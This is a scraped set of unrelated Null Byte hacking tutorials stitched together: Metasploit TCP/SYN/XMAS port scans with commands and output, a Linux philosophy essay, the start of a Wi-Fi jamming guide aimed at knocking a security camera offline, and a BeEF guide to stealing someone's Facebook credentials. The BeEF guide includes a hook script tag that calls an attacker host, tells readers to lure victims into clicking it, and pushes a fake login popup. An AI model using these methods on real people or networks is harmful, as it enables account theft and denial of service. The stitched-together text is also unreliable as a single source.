TishnaHack Like a Pro:How to Create a Smartphone Pentesting LabHow To:Chrome OS = Your New PenTesting ToolHow To:Anti-Virus in Kali LinuxHacking Android:How to Create a Lab for Android Penetration TestingNews:The Right Linux DistroHow To:Create a Custom Arch Linux DistroNews:MAC OS X on PC for REALzZz, My FriendzZz...!News:Complete Arch Linux Installation, Part 1: Install & Configure ArchHow To:KALI Linux 6 Things You Should Do After InstallingHow To:Scan for Viruses in Windows Using a Linux Live CD/USB
How to Discover Open Ports Using Metasploit's Built-in Port Scanner « Null Byte :: WonderHowTo
One of the first steps inreconnaissanceis determining the open ports on a system.Nmapis widely considered the undisputed king of port scanning, but certain situations call for different tools.Metasploitmakes it easy to conduct port scanning from directly inside the framework, and we'll show you three types of port scans: TCP, SYN, and XMAS.What Is Port Scanning?Port scanningis the process of probing a range of ports in order to determine the state of those ports — generally open or closed. There are 65,536 available ports on a host, with the first 1,024 ports being reserved forwell-known services. Ports can communicate using the TCP protocol, UDP, or both.Don't Miss:The Ultimate List of Hacking Scripts for Metasploit's MeterpreterThe first type of scan we will be covering is the TCP scan, also known as TCP connect. This type of scan utilizes a system call to establish a connection, much like web browsers or other networked applications. When a port is open, the TCP scan will initiate and complete a full three-way handshake, and then close the connection. This type of scan is effective, but noisy since the IP address can be logged.The second type of scan is the SYN scan. This is the default Nmap scan and is considered the most popular type of port scan. In contrast to the TCP connect scan, an SYN scan uses raw packets to connect to ports rather than a system call. This is advantageous because the connection is never fully completed, making it relatively stealthy and more likely to evade firewalls. There is also more control over the requests and responses since there is access to raw networking.The third type of scan we will be going over is the XMAS scan. This scan sets the FIN, PSH, and URG flags on the packet, which is said to light it up like a Christmas tree (hence the name). XMAS scans can be even stealthier than SYN scans, although modern intrusion detection systems can still detect them. Regardless, it is worth trying out if other scanning methods fail.Option 1: TCP ScanThe first thing we need to to before conducting any scans is start Metasploit by typingmsfconsolein the terminal. A random banner will be displayed, as well as version information and the number of modules currently loaded.msfconsole , , / \ ((__---,,,---__)) (_) O O (_)_________ \ _ / |\ o_o \ M S F | \ \ _____ | * ||| WW||| ||| ||| =[ metasploit v4.17.8-dev ] + -- --=[ 1803 exploits - 1027 auxiliary - 311 post ] + -- --=[ 538 payloads - 41 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf >Scanners are a type ofauxiliary modulein Metasploit, and to locate the port scanners, we can typesearch portscanat the prompt.msf > search portscan [!] Module database cache not built yet, using slow search Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/scanner/http/wordpress_pingback_access normal Wordpress Pingback Locator auxiliary/scanner/natpmp/natpmp_portscan normal NAT-PMP External Port Scanner auxiliary/scanner/portscan/ack normal TCP ACK Firewall Scanner auxiliary/scanner/portscan/ftpbounce normal FTP Bounce Port Scanner auxiliary/scanner/portscan/syn normal TCP SYN Port Scanner auxiliary/scanner/portscan/tcp normal TCP Port Scanner auxiliary/scanner/portscan/xmas normal TCP "XMas" Port Scanner auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port ScannerThis returns a few results, including the three types of port scans we will be looking at. Let's start with a simple TCP scan. Typeuse auxiliary/scanner/portscan/tcpto load the module. We can now take a look at the module settings by typingoptions:msf auxiliary(scanner/portscan/tcp) > options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host DELAY 0 yes The delay between connections, per thread, in milliseconds JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in millisecondsHere, we can the current settings and their descriptions. Unlike many exploit modules, this scanner can take a range of target addresses in addition to a single IP address. In this case, since we only have one target machine, a single address will do.The number of threads can also be increased to help the scan run faster. It's recommended to keep this value under 256 for Unix systems and under 16 for native Win32 systems. To be safe, we can set this to something like 8. All the other options can be left as default for now.msf auxiliary(scanner/portscan/tcp) > set rhosts 172.16.1.102 rhosts => 172.16.1.102 msf auxiliary(scanner/portscan/tcp) > set threads 8 threads => 8Now we're ready to start the scan. In Metasploit, theruncommand is simply an alias forexploit, so it will do the exact same thing. Given we are only conducting scans, run seems more appropriate, though it really doesn't matter.msf auxiliary(scanner/portscan/tcp) > run [+] 172.16.1.102: - 172.16.1.102:21 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:23 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:22 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:25 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:53 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:80 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:111 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:139 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:445 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:513 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:514 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:512 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:1099 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:1524 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:2049 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:2121 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:3306 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:3632 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:5432 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:5900 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:6000 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:6667 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:6697 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:8009 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:8180 - TCP OPEN [+] 172.16.1.102: - 172.16.1.102:8787 - TCP OPEN [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completedThe TCP scan will run pretty quickly, and once it's complete, we can see that there are many open ports on the target.Option 2: SYN ScanNext, we'll move on to a SYN scan. Typebackto return to the main prompt, followed byuse auxiliary/scanner/portscan/synto load the module. Again, we can typeoptionsto view the current settings for this module:msf auxiliary(scanner/portscan/syn) > options Module options (auxiliary/scanner/portscan/syn): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to scan per set DELAY 0 yes The delay between connections, per thread, in milliseconds INTERFACE no The name of the interface JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target address range or CIDR identifier SNAPLEN 65535 yes The number of bytes to capture THREADS 1 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in millisecondsThere are a few different options here compared to the TCP scan, but for the most part, it's very similar, including the option to accept a range of target addresses and the number of threads to set.When performing a number of scans or exploits on a singular target, it can get tiring setting the same options over and over again. Luckily, there is a command that will set an option globally, meaning it won't have to be re-entered when using a different module. Usesetgto set a global option.msf auxiliary(scanner/portscan/syn) > setg rhosts 172.16.1.102 rhosts => 172.16.1.102 msf auxiliary(scanner/portscan/syn) > setg threads 8 threads => 8Now, typerunto start the scan.msf auxiliary(scanner/portscan/syn) > run [+] TCP OPEN 172.16.1.102:21 [+] TCP OPEN 172.16.1.102:22 [+] TCP OPEN 172.16.1.102:23 [+] TCP OPEN 172.16.1.102:25 [+] TCP OPEN 172.16.1.102:53 [+] TCP OPEN 172.16.1.102:80 [+] TCP OPEN 172.16.1.102:111 [+] TCP OPEN 172.16.1.102:139 [+] TCP OPEN 172.16.1.102:445 [+] TCP OPEN 172.16.1.102:512 [+] TCP OPEN 172.16.1.102:513 [+] TCP OPEN 172.16.1.102:514 [+] TCP OPEN 172.16.1.102:1099 [+] TCP OPEN 172.16.1.102:1524 [+] TCP OPEN 172.16.1.102:2049 [+] TCP OPEN 172.16.1.102:2121 [+] TCP OPEN 172.16.1.102:3306 [+] TCP OPEN 172.16.1.102:3632 [+] TCP OPEN 172.16.1.102:5432 [+] TCP OPEN 172.16.1.102:5900 [+] TCP OPEN 172.16.1.102:6000 [+] TCP OPEN 172.16.1.102:6667 [+] TCP OPEN 172.16.1.102:6697 [+] TCP OPEN 172.16.1.102:8009 [+] TCP OPEN 172.16.1.102:8180 [+] TCP OPEN 172.16.1.102:8787 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completedThe SYN scan will take a little longer to complete compared to the TCP scan, but once it's done, we can see that we obtained similar results compared to the previous scan.Option 3: XMAS ScanThe third type of scan we'll do is the XMAS scan. Again, typebackto exit the current module, and thenuse auxiliary/scanner/portscan/xmasto load the module. Since we previously set global options for the remote host and threads, we should see these settings already populated when we viewoptionsnow.msf auxiliary(scanner/portscan/xmas) > options Module options (auxiliary/scanner/portscan/xmas): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to scan per set DELAY 0 yes The delay between connections, per thread, in milliseconds INTERFACE no The name of the interface JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds. PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS 172.16.1.102 yes The target address range or CIDR identifier SNAPLEN 65535 yes The number of bytes to capture THREADS 8 yes The number of concurrent threads TIMEOUT 500 yes The reply read timeout in millisecondsThe other options are pretty much identical to the SYN scan, so we can leave these as default. Feel free to play around with the other settings and see how it affects the timing and accuracy. Now we canrunthe scan.msf auxiliary(scanner/portscan/xmas) > run [*] TCP OPEN|FILTERED 172.16.1.102:21 [*] TCP OPEN|FILTERED 172.16.1.102:22 [*] TCP OPEN|FILTERED 172.16.1.102:23 [*] TCP OPEN|FILTERED 172.16.1.102:25 [*] TCP OPEN|FILTERED 172.16.1.102:53 [*] TCP OPEN|FILTERED 172.16.1.102:80 [*] TCP OPEN|FILTERED 172.16.1.102:111 [*] TCP OPEN|FILTERED 172.16.1.102:139 [*] TCP OPEN|FILTERED 172.16.1.102:445 [*] TCP OPEN|FILTERED 172.16.1.102:512 [*] TCP OPEN|FILTERED 172.16.1.102:513 [*] TCP OPEN|FILTERED 172.16.1.102:514 [*] TCP OPEN|FILTERED 172.16.1.102:1099 [*] TCP OPEN|FILTERED 172.16.1.102:1524 [*] TCP OPEN|FILTERED 172.16.1.102:2049 [*] TCP OPEN|FILTERED 172.16.1.102:2121 [*] TCP OPEN|FILTERED 172.16.1.102:3306 [*] TCP OPEN|FILTERED 172.16.1.102:3632 [*] TCP OPEN|FILTERED 172.16.1.102:5432 [*] TCP OPEN|FILTERED 172.16.1.102:5900 [*] TCP OPEN|FILTERED 172.16.1.102:6000 [*] TCP OPEN|FILTERED 172.16.1.102:6667 [*] TCP OPEN|FILTERED 172.16.1.102:6697 [*] TCP OPEN|FILTERED 172.16.1.102:8009 [*] TCP OPEN|FILTERED 172.16.1.102:8180 [*] TCP OPEN|FILTERED 172.16.1.102:8787 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completedOnce again, we obtained similar results to the other scans, with additional information about whether the port is filtered or not. Depending on the target (or targets) and the type of environment in place, these scans can sometimes yield different results, so it certainly doesn't hurt to try out multiple scans.These Find Open Ports with EaseIn this guide, we've covered how to do three types of port scan — TCP, SYN, and XMAS — right from Metasploit'sinteractive console. These scanners are quick and dirty, but can accomplish the objective of finding open ports with relative ease. This just goes to show that Metasploit is packed full of features that make it easier for white hat hackers to do what they best.Don't Miss:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by drd_/Null ByteRelatedHack Like a Pro:Perl Scripting for the Aspiring Hacker, Part 2 (Building a Port Scanner)How To:Discover Computers Vulnerable to EternalBlue & EternalRomance Zero-DaysHow to Hack Databases:Hunting for Microsoft's SQL ServerSPLOIT:How to Make a Python Port ScannerHow To:Hack Apache Tomcat via Malicious WAR File UploadHow To:BeEF - the Browser Exploitation Framework Project OVER WANHow To:Map Networks & Connect to Discovered Devices Using Your PhoneSEToolkit:Metasploit's Best FriendNews:Lemonade 4 SaleHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapNews:Convict Built Church HDR (Port Arthur)News:Port-Able-PotHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHUDP Flooding:How to Kick a Local User Off the NetworkNews:Best Hacking SoftwareHow To:Protect Your Mac & Linux Computers from Hacks by Creating an iptables Firewall
Hack Like a Pro: How to Get Facebook Credentials Without Hacking Facebook « Null Byte :: WonderHowTo
Welcome back my, tenderfoot hackers!Many people come to Null Byte looking tohack Facebookwithout the requisite skills to do so. Facebook is far from unhackable, but to do so, you will needsome skills, and skill development is what Null Byte is all about.Sometimes, if you have a bit of skill, a bit of luck, and a bit of social engineering, youcanget Facebook credentials. That's what this tutorial is all about. If you don't take the time toinstall Kaliand learn a little aboutnetworkingandLinux, this won't work for you—but if you are willing to take a little time to study here at Null Byte, you can probably gain access to someone's Facebook credentials very easily with this little trick.(All Facebook users should take note of this if youdon't want to get hacked.)Step 1: Install Kali (If You Haven't Done So Already)The first step is todownload and install Kali Linux. This can be done as a standalone operating system, a dual-boot with your Windows or Mac system, or in a virtual machine inside the operating system of your choice. No, thiscannotbe done with Windows! Windows, for all its strengths and ease of use, is not anappropriate hacking operating system.Within Kali, there is an app called theBrowser Exploitation Framework (BeEF). It is capable of helping you hack the victim's browser and take control of it. Once you have control of their browser, there are so many things you can do. One of them is to trick the user into giving away their Facebook credentials, which I'll show you here.Step 2: Open BeEFFire up Kali, and you should be greeted with a screen like below. You start up BeEF by clicking on the cow icon to the left of the Kali desktop.When you click on it, it starts BeEF by opening a terminal.BeEF is an application that runs in the background on a web server on your system that you access from a browser. Once BeEF is up and running, open your IceWeasel browser to access its interface. You can login to BeEF by using the usernamebeefand the passwordbeef.You will then by greeted by BeEF's "Getting Started" screen.Step 3: Hook the Victim's BrowserThis is the most critical—maybe even the most difficult part—of this hack. You must get the victim to click on a specially designed JavaScript link to "hook" their browser. This can be done in innumerable ways.The simplest way is to simply embed the code into your website and entice the user to click on it. This might be done by such text as "Click here for more information" or "Click here to see the video." Use your imagination.The script looks something like below. Embed it into a webpage, and when someone clicks on it, you own their browser! (Comment below if you have any questions on this; You might also use theMitMfto send the code to the user, but this requires more skill.)<script src= "http://192.168.1.101:3000/hook.js&#8221 ; type= "text/javascript" ></script>From here, I will be assuming you have "hooked" the victim's browser and are ready to own it.Step 4: Send a Dialog Box to the UserWhen you have hooked the victim's browser, its IP address, along with the operating system and browser type icons, will appear in the "Hooked Browsers" panel on the left. Here, I have simply used my own browser to demonstrate.If we click on the hooked browser, it opens a BeEF interface on the right side. Notice that it gives us the details of the browser initially. It also provides us with a number of tabs. For our purposes here, we are interested in the 'Commands" tab.Click on the "Commands" tab, then scroll down the "Modules Tree" until you come to "Social Engineering" and click to expand it. It will display numerous social engineering modules. Click on "Pretty Theft," which will open a "Module Results History" and "Pretty Theft" window.This module enables you to send a pop-up window in the user's browser. In our case, we will be using the Facebook dialog box.If we click on the "Dialog Type" box, we can see that this module can not only create a Facebook dialog box, but also a LinkedIn, Windows, YouTube, Yammer, and a generic dialog box. Select the Facebook dialog type,then click on the "Execute" button the the bottom.Step 5: The Dialog Box Appears on the Target SystemWhen you click "Execute" in BeEF, a dialog box will appear in the victim's browser like that below. It tells the victim that their Facebook session has expired and they need to re-enter their credentials.Althoughyoumay be suspicious of such a pop-up box, most users will trust that their Facebook session expired and will simply enter their email and password in.Step 6: Harvest the CredentialsBack on our system in the BeEf interface, we can see that the credentials appear in the "Command results" window. The victim has entered their email address "[email protected]" and their password "sweetbippy" and they have been captured and presented to you in BeEF.If you are really determined to get those Facebook credentials, it can be most definitely be done, and this is just one way of many methods (but probably the simplest).If you you want to develop the skills to an even higher level, start studying here at Null Byte to master the most valuable skill set of the 21st century—hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Set Up Two Different Facebook Accounts on One Android DeviceInstagram 101:Why You Should Never Put Hashtags in Your PostsHack Like a Pro:How to Hack Facebook (Facebook Password Extractor)The Clone Wars:The Russians Flirt with Instagram & Fake Follower Vending MachinesNews:Welcome to the WonderHowTo NetworkHow To:Hide All of the Social Numbers on Your Facebook Page with the DemetricatorHow To:Protect Yourself from the Biggest Jailbreak Hack in HistoryNews:You Can Now Save Your Live Instagram VideosHow To:View the Battery Percentage Indicator on Your iPhone X,XS,XSMax, orXRFinally:Smartphone Users Can Easily Access Their Kindle Notes & HighlightsHack Like a Pro:How to Hack Facebook (Same-Origin Policy)How To:Get Bokeh on Any Phone with Facebook Messenger's Portrait SelfiesNews:Always-Updated List of Phones With No Headphone Jack Built-InNews:Your iPhone's Lock Screen Is Getting Better Widgets, Notifications, & More in iOS 10News:Facebook Is Taking Snapchat Head-On with Disappearing Messages & PicturesFacebook Messenger 101:How to Keep Your Account When Deactivating FacebookNews:New Messenger Discover Feature Is a Blast from the Past — with a TwistNews:Here's Why Apple Getting Rid of the Headphone Connector Is a Terrible PlanHow To:Hack Someone's "Private" Friends List on Facebook to See All of Their FriendsHow To:4 Ways to Crack a Facebook Password & How to Protect Yourself from ThemInstagram 101:How to Add More Than 30 Hashtags to Your PostsNews:You Can Now Send Web Links & Landscape Photos on Instagram DirectHow To:Install Facebook Lite on Your iPhoneHow To:Save Battery When Playing YouTube Music on Your Galaxy, Pixel, or Other AMOLED DeviceHow To:Turn Your Android's Buttons into Shortcuts for Almost AnythingHow To:Automatically Skip YouTube Ads on Android—Without RootingHow To:You Can Easily Hack Instagram for a Crazy Amount of Likes (But You Totally Shouldn't)How To:Fix Your Hacked and Malware-Infested Website with GoogleSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordHow To:The Official Google+ Insider's Guide IndexHow To:Remove Gamers Unite from your Facebook AccountHow To:Find Your Friend's Email Address Through FacebookNews:Student Sentenced to 8mo. in Jail for Hacking FacebookNews:FarmVille Orchard and Tree Gifting LinksNews:Bricked iPad Pros, Error 56, & How to Fix
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 24 (The Linux Philosophy) « Null Byte :: WonderHowTo
Welcome back, my aspiring hackers!Although this article may have been better placed first inthis series, I doubt that anyone would have read it when just starting out studying Linux. Now, that you are well intoyour Linux studiesand have some familiarity with how it operates, I'd like to take this moment to explain the philosophy around the Linux operating system.When I use the term "philosophy," I am not referring to such questions as "what is the meaning of life" or "does God exist," but rather what was the underlying logic and reasoning behind the design of this ubiquitous and love-lived operating system.As many of you already know, I am strong advocate for the Linux operating system. This is for a multitude of reasons that I have tried to explainin this article. Although Linux may be ideally suited to hacking and many other applications, I think it is important to understand the philosophy underlying the Linux/Unix structure and model foranyenvironment.In this article, I will use the term Unix/Linux to designate this operating system. Unix was the original, developed by Thompson and Ritchie, and Linux was a re-engineer of Unix by Linux Torvalds and team.Mac OS X,iOS,Android,Solaris,AIX,HP-UX, andIRIXare all forms of Unix/Linux.In addition,Red Hat,Ubuntu,Mint,Fedora,Debian,Slackware, andSUSEare all distributions of Linux. A distribution of Linux is simply an operating system that uses the Linux kernel, but then adds in its own additional components. These components vary, but may include applications, utilities, modules, the GUI, and others.This variability in the distributions is often confusing and frustrating to the novice, but it is actually part of the Linux beauty and strength. Unix/Linux are designed to be flexible and portable, allowing the end-user to work the way they are comfortable, rather than the way the software developer thinks you should work.Unix was first developed in the early 1970s by Dennis Ritchie and Ken Thompson at AT&T Labs. The fact that it is still being used over 40 years later tells you something about the quality, durability, and efficiency of this operating system. These guys did something right! How many things in computing are still around from the early 1970s?If anything, rather than this "ancient" operating system fading away, it is gaining ground nearly every day. Chrome, Android, iOS, Linux, and Mac OS X are all based on this 40-year-old operating system. If we look at the fastest growing market—mobile devices—it isdominatedby Unix variants with iOS and Android compromising over 91% of the market. It appears that the mobile market in the near future will be nearly 100% Unix/Linux.What about this modest operating system has made it this durable and long-lasting? Let's take a look then at some of the tenants of this design philosophy that has made Linux so successful.Assume the User Is Computer LiterateThe developers of Unix (and thereby Linux) made a radical assumption: That the users are computer literate. We can't say the same for many other operating systems. In many cases, the operating system developers assume we are ignorant, illiterate Neanderthals who need to be protected ourselves. Not so with Unix/Linux.As one sage said, "Unix(Linux) was not designed to stop its users from doing stupid things as that would also keep them from doing clever things."Perfect! Could not have said it better myself!Complete ControlOne of key reasons that hackers use Linux and only Linux, is that it gives us complete control. Other operating systems try to hide some of their operations and features from us, afraid we will screw things up. Linux is totally transparent and enables us to see and use everything.Choose Portability Over EfficiencyUnix was the first portable operating system, meaning it could be used on many different hardware platforms. This has served it well as Unix/Linux has now been ported and compiled for over near 60 hardware platforms. This has been a critical element in its longevity and ability to adopt to an ever-changing technological environment.Store Data in Flat Text FilesUnix/Linux stores data in flat text files unlike other operating systems. This makes the data as portable, or more portable, than the code itself. Nearly all systems can import and use flat text files.Use Shell Scripts to Increase Leverage & PortabilityShell scripts enhance the power of our applications. By writing a script, we can automate an application to do something as many times as we would like, as well as leverage the capabilities of other applications simultaneously. In addition, these scripts are then portable to other systems without having to recompile them.Allow the User to Tailor Their EnvironmentUnix/Linux was designed to allow the user to tailor their environment to their liking. The user is in control and not the software developer. Unix/Linux implements mechanisms for doing things, but they don't dictatehowyou do things. This tailoring can take many forms including the graphical user interface (GUI) . There are numerous GUIs available for Linux includingGNOME(the default onKaliand the most widely used),KDE,Unity(Ubuntu's default),Sugar,Trinity,Xfce,Enlightenment, and many more. In most cases, despite the default GUI that might come with your system, you can install and use any one of the other interfaces, if you please.Make the Kernel Small & LightweightAlthough many operating system kernels continue to add features to the main kernel to offer users greater capability, they make it more and more bloated. The Unix/Linux model is to keep the kernel small and lightweight, but allow the developers and users to add components and modules as they please.User Lowercase & Keep It Shortlowercase names and commands are a unix/linux tradition.Silence Is GoldenUnix/Linux commands tend to be silent when you have done things correctly. This can drive some new users a bit batty when they, for instance, copy a file from one location to another and Unix/Linux has nothing to say. Not a confirmation or even a pat on the back.Think HierarchicallyThe Unix/Linux operating system was the first to develop a file system organized into a hierarchical tree. This hierarchical thinking has extended into many other areas of the operating system, such as networking and object-oriented programming.I hope this little foray into the philosophy of Linux helps you to understand why Linux is so different than those other operating systems. The result of this philosophy is an operating system that is small, lightweight, and flexible, which treats all users with respect.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaKen FUNAKOSHI/FlickrRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)How To:Linux Basics for the Aspiring Hacker: Managing Hard DrivesHack Like a Pro:Scripting for the Aspiring Hacker, Part 3 (Windows PowerShell)News:Even Microsoft Acknowledges the Superiority of the Bash Shell NowHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Hack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Mac for Hackers:How to Get Your Mac Ready for HackingHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 16 (Stdin, Stdout, & Stderror)Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Use Cygwin to Run Linux Apps on WindowsHow To:How Hackers Take Your Encrypted Passwords & Crack ThemNews:Performance Hacks & Tweaks for LinuxNews:The Right Linux DistroNews:Complete Arch Linux Installation, Part 1: Install & Configure ArchCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingNews:Let Me Introduce MyselfSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop It
How to Hack Wi-Fi: Build a Software-Based Wi-Fi Jammer with Airgeddon « Null Byte :: WonderHowTo
Airgeddon is a multi-Bash network auditor capable of Wi-Fi jamming. This capability lets you target and disconnect devices from a wireless network, all without joining it. It runs onKali, and we'll cover installing, configuring, and using its jamming functionalities on a small, inexpensiveRaspberry Pi. When done correctly, it will deny service to a wireless network for up to several blocks.Airgeddonhas been covered as a useful toolmany timesonNull Byte, but in this guide, I want to show how electronic warfare techniques, such as jamming, can be used by hackers to disable devices such as wireless security cameras.Electronic warfare is a fairly new concept. Communications like GPS and Wi-Fi make more complex processes — and our way of life — possible. There are many ways to attack systems like drones (UAVs) or networked security cameras, but their data connection is often the most vulnerable.Electronic warfare favors avoiding engaging these systems directly, instead choosing to disrupt and manipulate the data connection these automated devices rely on. Without a reliable connection, these devices often cease to function or revert to predictable and exploitable default behaviors.The Electronic Warfare Approach for HackersElectronic warfare has been at the heart of some high-profile incidents. For instance, the American military hasinvested heavily in automation with UAV programs, only to have adversaries like the Iranians develop tactics to disrupt these systems. By jamming the control signals of a top-secret U.S. spy drone while feeding it false GPS data,Iran was able to capture the droneby tricking it into landing in the wrong location.Don't Miss:Enabling Monitor Mode & Packet Injection on the Raspberry PiThe Russian military has alsoinvested heavily in jamming and electronic warfareinnovation as a means of making American devices useless. Russiaeven demonstrated the ability to disable a U.S. warshipduring a flight which knocked out the ship's power.The majority of these powerful attacks are hardware-based and require devices that would be illegal or expensive to own. Fortunately, not all techniques rely on hardware. Today, we will focus on software-based attacks anyone with Kali Linux can employ.U.S. Army field manual on selecting targets for electronic warfare.Image viaUS Army Electronic Warfare ManualThe Wi-Fi DoS De-Authentication AttackThe "jamming" we are using, in this context, is one of many possible denial-of-service (DoS) attacks against a Wi-Fi network. Rather than overpowering the signal like a hardware jammer, a software jammer functions by forging network packets to request continually that all devices in range disconnect themselves. The process is described below.This attack has the advantage of being effective against any Wi-Fi network, without needing to be authenticated to the network or know the password.What de-authenticating a target looks like.How to Jam a Wireless IP Security CameraIn our scenario today, we want to disable a wireless IP security camera connected to a network called "HAZELBEAR." Our target security camera relies on a Wi-Fi connection to stream video to a server. To disrupt that, we will kick all devices off of "HAZELBEAR" with Airgeddon. This will disable the camera from streaming video to whoever is watching or recording.What You Need to Get StartedAirgeddon runs on Kali Linux. You can use an installation running on a virtual machine or a regular computer with Kali as the main OS. Alternatively, you could use Airgeddon ona $35 Raspberry Pito create a small portable option. If you'd like to run it on the Pi, check outour guide to setting up Kali Linux on the Raspberry Pi.Raspberry Pi 4 Model B(starting at $35)Raspberry Pi 3 Model B+(starting at $35)It doesn't cost much to be a cool guy.Image by Kody/Null ByteThis tutorial will focus on installing Airgeddon on Kali Linux. Other operating systems it works on include Wifislax, Backbox, Parrot, BlackArch, and Cyborg Hawk. Since Airgeddon is a multi-Bash script and relies on opening multiple windows, it will not work over SSH. You should be connected via HDMI or VNC.AnAtheros AR9271, oranother Kali-compatible wireless network adapter, must be capable of beingput into monitor mode and packet injection. There aremany options to choose from, but the better the wireless adapter's range, the better your results will be.AR9271 150Mbps Wireless USB WiFi Adapter(currently $11.98)Panda 300Mbps Wireless N USB Adapter(currently $16.99)Step 1: Install AirgeddonFirst, let's check your configuration. 